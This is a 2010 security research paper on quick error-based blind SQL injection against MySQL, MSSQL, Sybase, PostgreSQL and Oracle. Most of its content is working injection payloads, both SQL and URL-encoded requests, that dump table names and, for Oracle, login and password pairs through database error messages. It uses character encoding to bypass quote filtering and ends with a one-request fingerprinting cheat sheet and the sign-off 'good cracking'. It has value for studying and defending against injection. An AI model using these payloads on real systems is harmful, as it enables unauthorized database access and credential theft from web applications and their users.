Methods of Quick Exploitation of Blind SQL Injection

# Title: Methods of quick exploitation of blind SQL Injection
# Date: January 25th, 2010
# Author: Dmitry Evteev (Positive Technologies Research Lab)
# Contacts: http://devteev.blogspot.com/ (Russian); http://www.ptsecurity.com/


In this paper, the quickest methods of Blind SQL Injection (error-based) exploitation are
 collected and considered by examples of several widespread databases.

    
---=[ 0x01 ] Intro

SQL Injection vulnerabilities are often detected by analyzing error messages received from the
 database, but sometimes we cannot exploit the discovered vulnerability using classic methods
 (e.g., union). Until recently, we had to use boring slow techniques of symbol exhaustion in such
 cases. But is there any need to apply an ineffective approach, while we have the DBMS error message?!
 It can be adapted for line-by-line reading of data from a database or a file system, and this
 technique will be as easy as the classic SQL Injection exploitation. It is foolish not to take
 advantage of such opportunity! In this paper, we will consider the methods that allow one to use
 the database error messages as containers for useful data.

---=[ 0x02 ] Error-Based Blind SQL Injection in MySQL

At the turn of the last year, Qwazar has got a universal technique of exploitation of Blind SQL
 Injection vulnerabilities in applications operating under MySQL database from the depths of antichat
  (I wonder what else can be found in these depths). It should be mentioned that the proposed
 technique is rather complicated and opaque. Here is an example of applying this universal approach
 to MySQL>=5.0:

mysql> select 1,2 union select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x;
ERROR 1062 (23000): Duplicate entry '5.0.841' for key 1
mysql> select 1 and (select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry '5.0.841' for key 1

If the table name is unknown, which is possible for MySQL < 5.0, then one has to use more complex
 queries based on the function rand(). It means that we will often fail to obtain the necessary data
 with one http query.

mysql> select 1 and row(1,1)>(select count(*),concat(version(),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1);
...
1 row in set (0.00 sec)
...
mysql> select 1 and row(1,1)>(select count(*),concat(version(),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1);
ERROR 1062 (23000): Duplicate entry '5.0.84:0' for key 1

Here is an example of practical use of the method for database structure restoration:

http://server/?id=(1)and(select+1+from(select+count(*),concat((select+table_name+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)--
http://server/?id=(1)and(select+1+from(select+count(*),concat((select+table_name+from+information_schema.tables+limit+1,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)--
...

The technique proposed by Qwazar is applicable to all MySQL versions including 3.x, which still can
 be found in the Global Network. However, taking into consideration the fact that sub-queries were
 implemented in MySQL v. 4.1, application of the described method to earlier versions becomes much
 more difficult.

---=[ 0x03 ] Universal Exploitation Techniques for Other Databases

Recently, the hacker under the pseudonym TinKode has successfully conducted several attacks using
 Blind SQL Injection vulnerabilities in a web server in the domain army.mil. In the course of
 attacking web applications operating under MSSQL 2000/2005 control, the hacker has demonstrated
 a rather interesting method to obtain data from a database. The technique used by TinKode in based
 on the fact that MsSQL generates an error in case of incorrect data type conversion, which in turn
 allows one to transfer useful data in the returned error message:

select convert(int,@@version);

Msg 245, Level 16, State 1, Line 1
Conversion failed when converting the nvarchar value 'Microsoft SQL Server 2008 (RTM) - 10.0.1600.22 (Intel X86) 
	Jul  9 2008 14:43:34 
	Copyright (c) 1988-2008 Microsoft Corporation
	Enterprise Edition on Windows NT 6.1 <X86> (Build 7600: ) (VM)
' to data type int.

Consequently, if Blind SQL Injection is exploited using the described method, then it becomes
 possible to obtain the necessary data from Microsoft SQL Server rather quickly. For example, one can
 restore the database structure:

http://server/?id=(1)and(1)=(convert(int,(select+table_name+from(select+row_number()+over+(order+by+table_name)+as+rownum,table_name+from+information_schema.tables)+as+t+where+t.rownum=1)))--
http://server/?id=(1)and(1)=(convert(int,(select+table_name+from(select+row_number()+over+(order+by+table_name)+as+rownum,table_name+from+information_schema.tables)+as+t+where+t.rownum=2)))--
...

If we notice that Sybase ASE, just like MS SQL Server, is based on Transact-SQL, it is plausible to
 assume that the described technique is applicable to this DBMS. Testing has strongly confirmed
 this assumption. All examples given for MsSQL hold true for the Sybase database, too.

Similar manipulations with type conversion were conducted for MySQL. The conducted experiments showed
 that in case of incorrect type conversion, MySQL returns non-critical error messages that do not
 allow one to attain the same aims for Blind SQL Injection exploitation. Meanwhile, experiments with
 PostgreSQL were successful:

web=# select cast(version() as numeric);
ERROR:  invalid input syntax for type numeric: "PostgreSQL 8.2.13 on i386-portbld-freebsd7.2, compiled by GCC cc (GCC) 4.2.1 20070719  [FreeBSD]"

To obtain useful data by exploiting an SQL Injection vulnerability in an application operating under
 PostgreSQL control, one can use the following queries:

http://server/?id=(1)and(1)=cast((select+table_name+from+information_schema.tables+limit+1+offset+0)+as+numeric)--
http://server/?id=(1)and(1)=cast((select+table_name+from+information_schema.tables+limit+1+offset+1)+as+numeric)--
...

---=[ 0x04 ] In the Depths of Oracle

I had gathered an interesting collection of quick methods of Blind SQL Injection exploitation, but
 I was lacking in a similar method for another widespread DBMS – Oracle. It induced me to conduct a
 small research intended for discovering analogous methods applicable to the specified database.

I found out that all known methods of error-based Blind SQL Injection exploitation don’t work in the
 Oracle environment. Then, my attention was attracted by the functions of interaction with the XML
 format. After a short investigation, I found a function XMLType() that returns the first symbol of
 requested data in the error message (LPX-00XXX):

SQL> select XMLType((select 'abcdef' from dual)) from dual;
ERROR:
ORA-31011: XML parsing failed
ORA-19202: Error occurred in XML processing
LPX-00210: expected '<' instead of 'a'
Error at line 1
ORA-06512: at "SYS.XMLTYPE", line 301
ORA-06512: at line 1
no rows selected
SQL>

Anyway, that's something. Now we can use the function substr() to read the desired information
 symbol-by-symbol. For example, we can rather quickly determine the version of the installed database:

select XMLType((select substr(version,1,1) from v$instance)) from users; 
select XMLType((select substr(version,2,1) from v$instance)) from users;
select XMLType((select substr(version,3,1) from v$instance)) from users;
...etc.

Reading one symbol per one query during Blind SQL Injection exploitation is good, but it would be 
light-heartedly to stop at that. We will go further.

After investigating the function XMLType()in detail, I managed to find an analogous method to place
 data into the error message, which can be also applied to other databases:

SQL> select XMLType((select '<abcdef:root>' from dual)) from dual;
ERROR:
ORA-31011: XML parsing failed
ORA-19202: Error occurred in XML processing
LPX-00234: namespace prefix "abcdef" is not declared
...
SQL> select XMLType((select '<:abcdef>' from dual)) from dual;
ERROR:
ORA-31011: XML parsing failed
ORA-19202: Error occurred in XML processing
LPX-00110: Warning: invalid QName ":abcdef" (not a Name)
...
SQL>

It seems to be great, but there are several pitfalls. The first problem is that Oracle doesn’t
 implement automated type conversion. Therefore, the following query will cause an error:

SQL> select * from users where id = 1 and(1)=(select XMLType((select '<:abcdef>' from dual)) from dual);
select * from users where id = 1 and(1)=(select XMLType((select '<:abcdef>' from dual)) from dual)
ERROR at line 1:
ORA-00932: inconsistent datatypes: expected NUMBER got -

The second problem is that Oracle has no limit or offset, which doesn’t allow one to read data
 line-by-line easily. Finally, the third difficulty is related to the fact that the function XMLType()
 truncates the returned data after certain symbols, e.g. space character and the "at" sign (“@”).

However, there is no problem we could not solve;) To dispose of the problem of type conversion, one
 can apply the function upper(). Line-by-line data reading can be implemented using the following
 simple construction:

select id from(select id,rownum rnum from users a)where rnum=1;
select id from(select id,rownum rnum from users a)where rnum=2;
...

At last, to avoid the loss of returned data, hex coding can be applied. Additionally, the quotes can
 be excluded from the sent query using numeric representation of symbols (ascii), which will later
 allow one to bypass filtering at the stage of processing the data that comes into the application.
 Thus, the resulting query becomes:

select * from table where id = 1 and(1)=(select upper(xmltype(chr(60)||chr(58)||chr(58)||(select rawtohex(login||chr(58)||chr(58)||password)from(select login,password,rownum rnum from users a)where rnum=1)||chr(62)))from dual);
select * from table where id = 1 and(1)=(select upper(xmltype(chr(60)||chr(58)||chr(58)||(select rawtohex(login||chr(58)||chr(58)||password)from(select login,password,rownum rnum from users a)where rnum=2)||chr(62)))from dual);
...

Using this technique, we can obtain up to 214 bytes of data (107 symbols in case of hex coding) per
 one http request from an application that operates under DBMS Oracle >= 9.0 and returns error messages:

http://server/?id=(1)and(1)=(select+upper(xmltype(chr(60)||chr(58)||chr(58)||(select+rawtohex(login||chr(58)||chr(58)||password)from(select+login,password,rownum+rnum+from+users+a)where+rnum=1)||chr(62)))from dual)--

To decode the data obtained from an application using the described method of SQL Injection
 exploitation, one can use, for example, the following standard Oracle function:

SQL> select utl_raw.cast_to_varchar2('61646D696E3A3A5040737377307264') from dual;
UTL_RAW.CAST_TO_VARCHAR2('61646D696E3A3A5040737377307264')
--------------------------------------------------------------------------------
admin::P@ssw0rd
SQL>

---=[ 0x05 ] Resume

Thus, we obtained universal and quick techniques of error-based Blind SQL Injection exploitation for
 the following DBMSs: PostgreSQL, MSSQL, Sybase, MySQL version >=4.1, and Oracle version >=9.0. To
 identify the database version using one http request, the following constructions can be applied:

PostgreSQL: /?param=1 and(1)=cast(version() as numeric)--

MSSQL: /?param=1 and(1)=convert(int,@@version)--

Sybase: /?param=1 and(1)=convert(int,@@version)--

MySQL>=4.1<5.0: /?param=(1)and(select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from TABLE_NAME group by x)a)--
OR
/?param=1 and row(1,1)>(select count(*),concat(version(),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1)--

MySQL>=5.0: /?param=(1)and(select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)--

Oracle >=9.0: /?param=1 and(1)=(select upper(XMLType(chr(60)||chr(58)||chr(58)||(select replace(banner,chr(32),chr(58)) from sys.v_$version where rownum=1)||chr(62))) from dual)--

---=[ 0x06 ] Curtain

Sometimes, it seems that everything has been already invented and there is no sense is searching for
 something new. As you could see from the history of the development of Blind SQL Injection exploitation,
 it is not the case. There is always enough space for new investigations. Wish you good cracking!:)

---=[ 0x07 ] Reference

http://www.ptsecurity.com/download/PT-devteev-FAST-blind-SQL-Injection.pdf
http://ptresearch.blogspot.com/2010/01/methods-of-quick-exploitation-of-blind_25.html
http://ptresearch.blogspot.com/2010/01/methods-of-quick-exploitation-of-blind.html
http://qwazar.ru/?p=7 (Russian)
http://tinkode.baywords.com/index.php/2010/01/the-center-for-aerosol-research-nasa-website-security-issues/

---=[ 0x08 ] About Research Lab

Positive Technologies Research Lab and SecurityLab are willing to cooperate with independent researches
 in the analysis of the discovered vulnerabilities, in contacts with software vendors and CVE Number
 Reservation process. The vulnerabilities will be published in sections "Laboratory" and PT-advisory.
 The name of the researches will be preserved. 

Our disclosure policy: en.securitylab.ru/lab/disclosure-policy.php